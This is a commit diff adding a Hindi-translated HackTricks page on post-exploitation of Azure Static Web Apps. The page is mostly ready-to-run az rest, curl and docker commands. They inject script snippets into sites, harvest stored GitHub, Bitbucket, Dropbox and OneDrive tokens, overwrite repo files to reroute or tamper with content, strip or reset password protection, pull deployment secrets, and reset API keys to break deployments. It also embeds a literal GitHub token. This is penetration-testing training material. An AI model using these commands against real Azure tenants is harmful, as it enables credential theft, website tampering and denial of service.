Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-01-05 22:58:03 +00:00
parent 3f050b1d2b
commit 83063f718e
5 changed files with 296 additions and 25 deletions

View File

@@ -0,0 +1,162 @@
# Az - Static Web Apps Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Azure Static Web Apps
इस सेवा के बारे में अधिक जानकारी के लिए देखें:
{{#ref}}
../az-services/az-static-web-apps.md
{{#endref}}
### Microsoft.Web/staticSites/snippets/write
एक स्निप्पेट बनाकर एक स्थिर वेब पृष्ठ को मनमाने HTML कोड को लोड करना संभव है। इससे एक हमलावर को वेब ऐप के अंदर JS कोड इंजेक्ट करने और संवेदनशील जानकारी जैसे क्रेडेंशियल या म्नेमोनिक कुंजी (वेब3 वॉलेट में) चुराने की अनुमति मिल सकती है।
निम्नलिखित कमांड एक स्निप्पेट बनाएगी जो हमेशा वेब ऐप द्वारा लोड की जाएगी::
```bash
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
```
### कॉन्फ़िगर की गई तीसरी पार्टी क्रेडेंशियल्स पढ़ें
जैसा कि ऐप सेवा अनुभाग में समझाया गया है:
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
निम्नलिखित कमांड चलाकर **तीसरी पार्टी क्रेडेंशियल्स** पढ़ना संभव है जो वर्तमान खाते में कॉन्फ़िगर की गई हैं। ध्यान दें कि यदि उदाहरण के लिए कुछ Github क्रेडेंशियल्स किसी अन्य उपयोगकर्ता में कॉन्फ़िगर किए गए हैं, तो आप किसी अन्य से टोकन तक पहुँच नहीं पाएंगे।
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
यह कमांड Github, Bitbucket, Dropbox और OneDrive के लिए टोकन लौटाता है।
यहाँ टोकन की जांच करने के लिए कुछ कमांड उदाहरण दिए गए हैं:
```bash
# GitHub List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### Overwrite file - Overwrite routes, HTML, JS...
यह संभव है कि **Github repo** के अंदर एक फ़ाइल को **overwritte** किया जाए जिसमें ऐप हो, Azure के माध्यम से **Github token** का उपयोग करके एक अनुरोध भेजकर जैसे कि निम्नलिखित, जो फ़ाइल के पथ, फ़ाइल की सामग्री और कमिट संदेश को इंगित करेगा।
इसका दुरुपयोग हमलावरों द्वारा किया जा सकता है ताकि वे मूल रूप से **वेब ऐप की सामग्री को बदल सकें** ताकि दुर्भावनापूर्ण सामग्री (क्रेडेंशियल्स, म्नेमोनिक कीज़ चुराना...) प्रदान की जा सके या बस **कुछ पथों को** अपने सर्वरों पर पुनः मार्गित करने के लिए `staticwebapp.config.json` फ़ाइल को ओवरराइट करके।
> [!WARNING]
> ध्यान दें कि यदि कोई हमलावर किसी भी तरह से Github repo को समझौता करने में सफल होता है, तो वे Github से सीधे फ़ाइल को भी ओवरराइट कर सकते हैं।
```bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
```
### Microsoft.Web/staticSites/config/write
इस अनुमति के साथ, यह **पासवर्ड को संशोधित करना** संभव है जो एक स्थिर वेब ऐप की सुरक्षा करता है या यहां तक कि हर वातावरण को अनलॉक करने के लिए निम्नलिखित अनुरोध भेजना:
```bash
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
```
### Microsoft.Web/staticSites/listSecrets/action
यह अनुमति **API कुंजी तैनाती टोकन** प्राप्त करने की अनुमति देती है जो स्थिर ऐप के लिए है।
यह टोकन ऐप को तैनात करने की अनुमति देता है।
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
```
फिर, एक ऐप को अपडेट करने के लिए आप निम्नलिखित कमांड चला सकते हैं। ध्यान दें कि यह कमांड **कैसे Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) काम करता है** की जांच करके निकाली गई थी, क्योंकि यह वह है जिसे Azure ने डिफ़ॉल्ट रूप से उपयोग करने के लिए सेट किया है। इसलिए चित्र और पैरामीटर भविष्य में बदल सकते हैं।
1. रेपो डाउनलोड करें [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (या कोई अन्य रेपो जिसे आप तैनात करना चाहते हैं) और `cd react-basic` चलाएँ।
2. उस कोड को बदलें जिसे आप तैनात करना चाहते हैं
3. इसे तैनात करें (याद रखें कि `<api-token>` बदलना है):
```bash
docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
```
### Microsoft.Web/staticSites/write
इस अनुमति के साथ, **स्टेटिक वेब ऐप के स्रोत को एक अलग Github रिपॉजिटरी में बदलना संभव है**, हालाँकि, इसे स्वचालित रूप से प्रोविजन नहीं किया जाएगा क्योंकि यह आमतौर पर उस टोकन के साथ Github Action से किया जाना चाहिए जिसने क्रिया को अधिकृत किया है, क्योंकि यह टोकन स्वचालित रूप से रिपॉजिटरी के Github सीक्रेट्स के अंदर अपडेट नहीं होता (यह केवल ऐप के निर्माण के समय स्वचालित रूप से जोड़ा जाता है)।
```bash
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
```
### Microsoft.Web/staticSites/resetapikey/action
इस अनुमति के साथ **स्टेटिक वेब ऐप के API कुंजी को रीसेट करना संभव है** जो संभावित रूप से ऐप को स्वचालित रूप से तैनात करने वाले वर्कफ़्लो को DoS कर सकता है।
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
```
{{#include ../../../banners/hacktricks-training.md}}